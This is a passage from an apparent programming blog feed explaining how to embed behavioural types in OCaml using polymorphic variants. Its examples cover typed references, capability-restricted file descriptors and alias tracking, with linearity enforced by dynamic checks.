types of standard streams are also restricted. For example,

utop # open_stderr () |> fun fd -> write fd "hello\n" 0 6;;
hello
- : int * ([ `Close | `Write of 'a ] as 'a) t = (6, <abstr>)
utop # open_stdin () |> fun fd -> write fd "hello\n" 0 6;;
Error: This expression has type ([ `Close | `Read of 'a ] as 'a) t
       but an expression was expected of type [> `Write of [>  ] ] t
       The first variant type does not allow tag(s) `Write


File descriptors can also be made read or write only.

utop # let foo fd =
         let _, fd = write fd  "hello\n" 0 6 in
         let fd = mk_read_only fd in
         write fd "hello\n" 0 6;;
Error: This expression has type ([ `Close | `Read of 'a ] as 'a) t
       but an expression was expected of type [> `Write of [>  ] ] t
       The first variant type does not allow tag(s) `Write


The implementation of the module is straightforward.

module File_descriptor : File_descriptor = struct
  open Unix

  type 'a t =
    {fd : file_descr;
     mutable live : bool} constraint 'a = [>]

  let mk fd = {fd = fd; live = true}

  let fresh fd = {fd with live = true}

  let check fd =
    if not fd.live then raise LinearityViolation;
    fd.live <- false

  let open_stdin () = mk stdin
  let open_stdout () = mk stdout
  let open_stderr () = mk stderr

  let openfile file flags perm =
    let fd = openfile file flags perm in
    mk fd

  let close fd = check fd; close fd.fd

  let read fd buff ofs len =
    check fd;
    (read fd.fd buff ofs len, fresh fd)

  let write fd buff ofs len =
    check fd;
    (write fd.fd buff ofs len, fresh fd)

  let mk_read_only fd = check fd; fresh fd
  let mk_write_only fd = check fd; fresh fd
end



Tracking Aliases
The final example I will discuss is alias tracking.

module type Alias = sig
  type ('a,'b) t constraint 'b = [>]
  val make   : (unit -> 'a) -> ('a, [`One]) t
  val dup    : ('a, 'b) t -> ('a,[`Succ of 'b]) t * ('a, [`Succ of 'b]) t
  val merge  : ('a, [`Succ of 'b]) t -> ('a, [`Succ of 'b]) t -> ('a, 'b) t
  val free   : ('a, [`One]) t -> ('a -> unit) -> unit
  val app    : ('a,'b) t -> ('a -> unit) -> unit
end

module Alias : Alias = struct
  type ('a,'b) t =
    {v : 'a; mutable live : bool} constraint 'b = [>]

  let fresh a = {a with live = true}

  let check a =
    if not a.live then raise LinearityViolation;
    a.live <- false

  let make f = {v = f (); live = true}
  let dup x = check x; (fresh x, fresh x)
  let merge x y = check x; check y; fresh x
  let free x f = check x; f x.v
  let app x f = f x.v
end


The type variable 'b tracks aliases as a depth in the aliasing tree. New
resources are initialised with make, and the resultant resource has type
('a,[`One]) t indicating that there is just one reference to this resource.
Aliases are created explicitly with dup, which destroys the original
reference and returns two new references, each one level deeper than the
original reference. Two references from the same level can be merged together
to obtain a reference at the next higher level, and in doing so destroying the
original references. All of this machinery is to ensure that the resource can
only be freed when there is a unique reference.

utop # let r = make (fun _ -> ref 0);;
val r : (int ref, [ `One ]) t = <abstr>
utop # let r1,r2 = dup r;;
val r1 : (int ref, [ `Succ of [ `One ] ]) t = <abstr>
val r2 : (int ref, [ `Succ of [ `One ] ]) t = <abstr>
utop # let r11,r12 = dup r1;;
val r11 : (int ref, [ `Succ of [ `Succ of [ `One ] ] ]) t = <abstr>
val r12 : (int ref, [ `Succ of [ `Succ of [ `One ] ] ]) t = <abstr>
utop # let r21, r22 = dup r2;;
val r21 : (int ref, [ `Succ of [ `Succ of [ `One ] ] ]) t = <abstr>
val r22 : (int ref, [ `Succ of [ `Succ of [ `One ] ] ]) t = <abstr>
utop # let r1 = merge r11 r22;;
val r1 : (int ref, [ `Succ of [ `One ] ]) t = <abstr>
utop # let r2 = merge r12 r21;;
val r2 : (int ref, [ `Succ of [ `One ] ]) t = <abstr>
utop # free (merge r1 r2);;
- : (int ref -> unit) -> unit = <fun>


Conclusion
Polymorphic variants are quite effective in encoding behavioural types.
However, the absence of linear types in OCaml makes us resort to dynamic tests
for linear use of resources. While it is possible to hide the resource under a
monad, combining the use of multiple resources would require monad
transformers, which is well known to be quite heavyweight in terms of
programmability. Perhaps an effect system would do the trick.]]></description>
            <content:encoded><![CDATA[<p>Behavioural types such as session types, contracts and choreography describe the
behaviour of a software entity as a sequence of <em>operations</em> on a resource such
as a communication channel, web service session or a file descriptor.
Behavioural types capture well-defined interactions, which are enforced
statically with the help of type system machinery. In this post, I will describe
a lightweight embedding of behavioural types in OCaml using polymorphic variants
through a series of examples. The complete source code for the examples is
available
<a href="https://github.com/kayceesrk/code-snippets/blob/master/behavior.ml">here</a>.</p>

<!--_more-->

<p>The idea of encoding behavioural types using polymorphic variants comes from
<a href="http://www.di.unito.it/~padovani/Software/FuSe/FuSe.html">FuSe</a>, which is a
simple library implementation of binary sessions in OCaml. Similar to FuSe
linear use of resources is enforced through dynamic checks in the following
examples. We’ll raise <code class="language-plaintext highlighter-rouge">LinearityViolation</code> when linearity is violated.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">exception</span> <span class="nc">LinearityViolation</span>
</code></pre></div></div>

<h2 id="refs-that-explain-their-work">Refs that explain their work</h2>

<p>Let us define a ref type that is constrained not only by the type of value
that it can hold but also by the sequence of operations that can be performed
on it.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="k">type</span> <span class="nc">Ref</span> <span class="o">=</span>
<span class="k">sig</span>
  <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span> <span class="k">constraint</span> <span class="k">'</span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span>

  <span class="k">val</span> <span class="n">ref</span>   <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span>
  <span class="k">val</span> <span class="n">read</span>  <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">b</span><span class="p">])</span> <span class="n">ref</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">*</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span>
  <span class="k">val</span> <span class="n">write</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">b</span><span class="p">])</span> <span class="n">ref</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span>
<span class="k">end</span>

<span class="k">module</span> <span class="nc">Ref</span> <span class="o">:</span> <span class="nc">Ref</span> <span class="o">=</span> <span class="k">struct</span> <span class="o">...</span> <span class="k">end</span>
</code></pre></div></div>

<p>The phantom type variable <code class="language-plaintext highlighter-rouge">'b</code> constrained to be a polymorphic variant (<code class="language-plaintext highlighter-rouge">'b =
[&gt;]</code>) describes the sequence of permitted operations. For example, a reference
can only be read when the type presents the read capability <code class="language-plaintext highlighter-rouge">[`Read of 'b]</code>.
Here, the <code class="language-plaintext highlighter-rouge">'b</code> represents the behaviour of the continuation. Consequently, the
result of the <code class="language-plaintext highlighter-rouge">read</code> operation is a tuple consisting of the value read and a
reference whose type is <code class="language-plaintext highlighter-rouge">('a,'b) ref</code>. It is useful to think of the <code class="language-plaintext highlighter-rouge">read</code>
operation as changing the type of the reference. The type for <code class="language-plaintext highlighter-rouge">write</code> is
similar.</p>

<p>Associating behaviours with references is quite handy. For example, below is a
reference that holds an integer, which can only be written once following which
a single read is permitted:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">my_ref1</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span><span class="nt">`Read</span> <span class="k">of</span> <span class="p">[</span><span class="nt">`Stop</span><span class="p">]]])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="mi">10</span>
</code></pre></div></div>

<p>The behavioural types are also automatically inferred. For example,</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">foo1</span> <span class="n">r</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">write</span> <span class="n">r</span> <span class="mi">20</span> <span class="k">in</span>
  <span class="nn">Ref</span><span class="p">.</span><span class="n">read</span> <span class="n">r</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">foo1</span> <span class="o">:</span>
  <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="p">[</span><span class="o">&gt;</span>  <span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span> <span class="p">]</span> <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="o">-&gt;</span>
  <span class="kt">int</span> <span class="o">*</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span>
</code></pre></div></div>

<p>The inferred type says that <code class="language-plaintext highlighter-rouge">foo1</code> writes into <code class="language-plaintext highlighter-rouge">r</code> and then reads it. We can
apply <code class="language-plaintext highlighter-rouge">foo1</code> on <code class="language-plaintext highlighter-rouge">my_ref1</code> as their behaviours are compatible.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">v</span><span class="o">,</span><span class="n">res_ref</span> <span class="o">=</span> <span class="n">foo1</span> <span class="n">my_ref1</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">v</span> <span class="o">:</span> <span class="kt">int</span> <span class="o">=</span> <span class="mi">20</span>
<span class="k">val</span> <span class="n">res_ref</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Stop</span> <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span>
</code></pre></div></div>

<p>Recursive behavioural types are obtained painlessly.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="k">rec</span> <span class="n">foo2</span> <span class="n">r</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">write</span> <span class="n">r</span> <span class="mi">20</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">v</span><span class="o">,</span> <span class="n">r</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">read</span> <span class="n">r</span> <span class="k">in</span>
  <span class="n">foo2</span> <span class="n">r</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">foo2</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="p">]</span> <span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">b</span>
</code></pre></div></div>

<p>The inferred types says that <code class="language-plaintext highlighter-rouge">foo2</code> repeatedly writes and then reads the given
reference. Incompatible references are rejected statically. For example,</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">my_ref2</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span><span class="nt">`Read</span> <span class="k">of</span> <span class="p">[</span><span class="nt">`Stop</span><span class="p">]]])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="mi">10</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">my_ref2</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Stop</span> <span class="p">]</span> <span class="p">]</span> <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">foo2</span> <span class="n">my_ref2</span><span class="p">;;</span>
<span class="nc">Error</span><span class="o">:</span> <span class="nc">This</span> <span class="n">expression</span> <span class="n">has</span> <span class="k">type</span>
         <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Stop</span> <span class="p">]</span> <span class="p">]</span> <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span>
       <span class="n">but</span> <span class="n">an</span> <span class="n">expression</span> <span class="n">was</span> <span class="n">expected</span> <span class="k">of</span> <span class="k">type</span>
         <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="p">]</span> <span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span>
       <span class="nc">These</span> <span class="n">two</span> <span class="n">variant</span> <span class="n">types</span> <span class="n">have</span> <span class="n">no</span> <span class="n">intersection</span>
</code></pre></div></div>

<p>whereas</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">my_ref3</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="mi">10</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">my_ref3</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="n">_</span><span class="p">[</span><span class="o">&gt;</span>  <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">foo2</span> <span class="n">my_ref3</span><span class="p">;;</span>
</code></pre></div></div>

<p>is accepted and runs forever. It is (sometimes) useful to write programs that
don’t always run forever such as <code class="language-plaintext highlighter-rouge">foo3</code>:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="k">rec</span> <span class="n">foo3</span> <span class="n">r</span> <span class="o">=</span> <span class="k">function</span>
  <span class="o">|</span> <span class="mi">0</span> <span class="o">-&gt;</span>
      <span class="n">print_endline</span> <span class="s2">"done"</span><span class="p">;</span>
      <span class="nn">Ref</span><span class="p">.</span><span class="n">read</span> <span class="n">r</span>
  <span class="o">|</span> <span class="n">n</span> <span class="o">-&gt;</span>
      <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">write</span> <span class="n">r</span> <span class="mi">20</span> <span class="k">in</span>
      <span class="k">let</span> <span class="n">v</span><span class="o">,</span> <span class="n">r</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">read</span> <span class="n">r</span> <span class="k">in</span>
      <span class="n">foo3</span> <span class="n">r</span> <span class="p">(</span><span class="n">n</span><span class="o">-</span><span class="mi">1</span><span class="p">);;</span>
</code></pre></div></div>

<p>which runs for <code class="language-plaintext highlighter-rouge">n</code> iterations, where it performs a write and a read in every
iteration but the last one where it just performs a read. Unfortunately, this
program does not type check:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Error</span><span class="o">:</span> <span class="nc">This</span> <span class="n">expression</span> <span class="n">has</span> <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="p">[</span><span class="o">&gt;</span>  <span class="p">]</span> <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span>
       <span class="n">but</span> <span class="n">an</span> <span class="n">expression</span> <span class="n">was</span> <span class="n">expected</span> <span class="k">of</span> <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span><span class="o">&gt;</span>  <span class="p">]</span> <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span>
       <span class="nc">These</span> <span class="n">two</span> <span class="n">variant</span> <span class="n">types</span> <span class="n">have</span> <span class="n">no</span> <span class="n">intersection</span>
</code></pre></div></div>

<p>The problem is that the behaviour of the two branches are incompatible, and the
program is rightly rejected. We distinguish the branches in the type using:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">val</span> <span class="n">branch</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span> <span class="o">-&gt;</span> <span class="p">((</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">ref</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">ref</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">branch r f</code> indicates branch selection in <code class="language-plaintext highlighter-rouge">r</code> where <code class="language-plaintext highlighter-rouge">f</code> is a function that is
always of the form <code class="language-plaintext highlighter-rouge">fun x -&gt;  `Tag x</code>. The fixed version of <code class="language-plaintext highlighter-rouge">foo3</code> is:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="k">rec</span> <span class="n">foo3</span> <span class="n">r</span> <span class="o">=</span> <span class="k">function</span>
  <span class="o">|</span> <span class="mi">0</span> <span class="o">-&gt;</span>
      <span class="n">print_endline</span> <span class="s2">"done"</span><span class="p">;</span>
      <span class="nn">Ref</span><span class="p">.</span><span class="n">write</span> <span class="p">(</span><span class="nn">Ref</span><span class="p">.</span><span class="n">branch</span> <span class="n">r</span> <span class="p">(</span><span class="k">fun</span> <span class="n">x</span> <span class="o">-&gt;</span> <span class="nt">`Zero</span> <span class="n">x</span><span class="p">))</span> <span class="mi">0</span>
  <span class="o">|</span> <span class="n">n</span> <span class="o">-&gt;</span>
      <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">write</span> <span class="p">(</span><span class="nn">Ref</span><span class="p">.</span><span class="n">branch</span> <span class="n">r</span> <span class="p">(</span><span class="k">fun</span> <span class="n">x</span> <span class="o">-&gt;</span> <span class="nt">`Succ</span> <span class="n">x</span><span class="p">))</span> <span class="mi">20</span> <span class="k">in</span>
      <span class="k">let</span> <span class="n">v</span><span class="o">,</span> <span class="n">r</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">read</span> <span class="n">r</span> <span class="k">in</span>
      <span class="n">foo3</span> <span class="n">r</span> <span class="p">(</span><span class="n">n</span><span class="o">-</span><span class="mi">1</span><span class="p">);;</span>
<span class="k">val</span> <span class="n">foo3</span> <span class="o">:</span>
  <span class="p">(</span><span class="kt">int</span><span class="o">,</span>
   <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="p">]</span> <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span>
    <span class="o">|</span> <span class="nt">`Zero</span> <span class="k">of</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="p">[</span><span class="o">&gt;</span>  <span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">b</span> <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="p">]</span>
   <span class="k">as</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span>
  <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="o">=</span> <span class="o">&lt;</span><span class="k">fun</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>Observe that the inferred type captures the branching behaviour, and works as
expected:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">my_ref4</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="mi">10</span> <span class="k">in</span> <span class="n">foo3</span> <span class="n">my_ref4</span> <span class="mi">32</span><span class="p">;;</span>
<span class="k">done</span>
<span class="o">-</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="n">_</span><span class="p">[</span><span class="o">&gt;</span>  <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
</code></pre></div></div>

<h3 id="implementation">Implementation</h3>

<p>The implementation is unremarkable except for the machinery to dynamically
enforce linearity.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nc">Ref</span> <span class="o">:</span> <span class="nc">Ref</span> <span class="o">=</span>
<span class="k">struct</span>

  <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span> <span class="o">=</span>
    <span class="p">{</span><span class="n">contents</span>     <span class="o">:</span> <span class="k">'</span><span class="n">a</span><span class="p">;</span>
     <span class="k">mutable</span> <span class="n">live</span> <span class="o">:</span> <span class="kt">bool</span><span class="p">}</span> <span class="c">(* For linearity *)</span>
     <span class="k">constraint</span> <span class="k">'</span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span>

  <span class="k">let</span> <span class="n">ref</span> <span class="n">v</span> <span class="o">=</span> <span class="p">{</span><span class="n">contents</span> <span class="o">=</span> <span class="n">v</span><span class="p">;</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span><span class="p">}</span>

  <span class="k">let</span> <span class="n">check</span> <span class="n">r</span> <span class="o">=</span>
    <span class="k">if</span> <span class="n">not</span> <span class="n">r</span><span class="o">.</span><span class="n">live</span> <span class="k">then</span> <span class="k">raise</span> <span class="nc">LinearityViolation</span><span class="p">;</span>
    <span class="n">r</span><span class="o">.</span><span class="n">live</span> <span class="o">&lt;-</span> <span class="bp">false</span>

  <span class="k">let</span> <span class="n">fresh</span> <span class="n">r</span> <span class="o">=</span> <span class="p">{</span><span class="n">r</span> <span class="k">with</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span><span class="p">}</span>

  <span class="k">let</span> <span class="n">read</span> <span class="n">r</span> <span class="o">=</span>
    <span class="n">check</span> <span class="n">r</span><span class="p">;</span>
    <span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">contents</span><span class="o">,</span> <span class="n">fresh</span> <span class="n">r</span><span class="p">)</span>

  <span class="k">let</span> <span class="n">write</span> <span class="n">r</span> <span class="n">v</span> <span class="o">=</span>
    <span class="n">check</span> <span class="n">r</span><span class="p">;</span>
    <span class="p">{</span> <span class="n">contents</span> <span class="o">=</span> <span class="n">v</span><span class="p">;</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span> <span class="p">}</span>

  <span class="k">let</span> <span class="n">branch</span> <span class="n">r</span> <span class="n">_</span> <span class="o">=</span> <span class="n">check</span> <span class="n">r</span><span class="p">;</span> <span class="n">fresh</span> <span class="n">r</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Behavioural types crucially depend on linear use of the resources. Since OCaml
does not have linear types, there is nothing that prevents writing the following
function that seemingly violates the behavioural contract.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">foo</span> <span class="p">(</span><span class="n">r</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Read</span> <span class="k">of</span> <span class="p">[</span><span class="nt">`Stop</span><span class="p">]])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span><span class="p">)</span> <span class="o">=</span>
         <span class="k">let</span> <span class="n">_</span><span class="o">,</span> <span class="n">_</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">read</span> <span class="n">r</span> <span class="k">in</span>
         <span class="nn">Ref</span><span class="p">.</span><span class="n">read</span> <span class="n">r</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">foo</span> <span class="o">:</span>
  <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Stop</span> <span class="p">]</span> <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">*</span> <span class="p">(</span><span class="kt">int</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Stop</span> <span class="p">])</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="o">=</span>
  <span class="o">&lt;</span><span class="k">fun</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>While the type of <code class="language-plaintext highlighter-rouge">r</code> says that it will be read only once, the function <code class="language-plaintext highlighter-rouge">foo</code>
reads it twice. This non-linear use of <code class="language-plaintext highlighter-rouge">r</code> is caught dynamically; the second
read of <code class="language-plaintext highlighter-rouge">r</code> raises <code class="language-plaintext highlighter-rouge">LinearityViolation</code>.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">foo</span> <span class="p">(</span><span class="nn">Ref</span><span class="p">.</span><span class="n">ref</span> <span class="mi">10</span><span class="p">);;</span>
<span class="nc">Exception</span><span class="o">:</span> <span class="nn">LinearityViolation</span><span class="p">.</span>
</code></pre></div></div>

<h2 id="polymorphic-references">Polymorphic References</h2>

<p>Since we can accurately track the behaviour of references, we can safely allow
differently typed values to be written and read from the reference. A reference
that holds a value of type <code class="language-plaintext highlighter-rouge">t</code> can be read multiple times at <code class="language-plaintext highlighter-rouge">t</code> before being
written at type <code class="language-plaintext highlighter-rouge">u</code>. This protocol is captured by the following type:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="k">type</span> <span class="nc">PolyRef</span> <span class="o">=</span>
<span class="k">sig</span>
  <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">rw_prot</span>
    <span class="k">constraint</span> <span class="k">'</span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span> <span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="o">*</span> <span class="k">'</span><span class="n">b</span> <span class="o">|</span> <span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">c</span> <span class="o">*</span> <span class="p">(</span><span class="k">'</span><span class="n">c</span><span class="o">,_</span><span class="p">)</span> <span class="n">rw_prot</span><span class="p">]</span>
